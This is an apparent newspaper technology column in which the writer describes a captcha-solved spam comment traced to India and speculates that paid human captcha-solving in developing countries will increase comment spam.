The surprise was that despite the automated defences to prevent such junk being posted by a machine, it had got through. The junk filter stops hundreds of such attempted spams daily without a murmur; so far it's stopped 10,000 spams while allowing 377 human comments. So why had this got through? The electronic trail explained: the "captcha" (Completely Automated Public Turing test to tell Computers and Humans Apart) had been filled in.

The captcha is the junk filter's last resort. Because it's easy and cheap to program machines to post any sort of junk on blogs, a captcha (which puts numbers or letters in an image, which a machine in theory can't read) shows whether you've got a real live person giving their thoughts, or just a dumb machine trying to up some spammer's search-engine ranking.

If the captcha was filled in, it must have been done by a person; if it had been done by a machine, the spammers would have cracked the problem of solving captchas and would be busily spamming every blog they could find.

So who had done this? The junk filter had recorded their IP (internet) address. It resolved to somewhere in India. Which rang a bell: earlier this year, I spoke with someone who does blog spamming for a living - a very comfortable living, he claimed. But he said that the one thing that did give him pause was the possibility that rival blog spammers might start paying people in developing countries to fill in captchas: they could always use a bit of western cash, would have the spare time and, increasingly, cheap internet connections to be able to do such tedious (but paid) work.

A few days later I read a stunning report by George Packer in the New Yorker magazine - regrettably, it's not online - about the sprawling mega- city of Lagos in Nigeria. It's the world's sixth largest city, and growing fast; the concept of urban planning has collapsed and life is eked out from the margins of existence. Corruption isn't an occasional hazard; it underpins a near-feudal society. While there, Packer was approached by one of his guides, who offered him the promise of riches looted from a despot; the classic Nigerian scam.

Packer declined politely, attaching no blame to his would-be scammer: "He would have been regarded locally as a fool if he hadn't tried to exploit [me]," he noted without rancour. Elsewhere this week, deliveries began of the hand-powered laptop, Nicholas Negroponte's computing gift to the developing world.

I've no doubt it will radically alter the life of many in the developing world for the better. I also expect that once a few have got into the hands of people aching to make a dollar, with time on their hands and an internet connection provided one way or another, we'll see a significant rise in captcha-solved spam. But, as my spammer contact pointed out, it's nothing personal. You have to understand: it's just business.

• In January I suggested that "spam has passed its peak". Oh well. I guess I'll have to sit in the corner with Bill Gates, who declared in January 2004 that "spam will be solved in two years". After you with the pointy-D hat, Bill.
http://technology.guardian.co.uk/wee...954160,00.html


















Until next week,

- js.



















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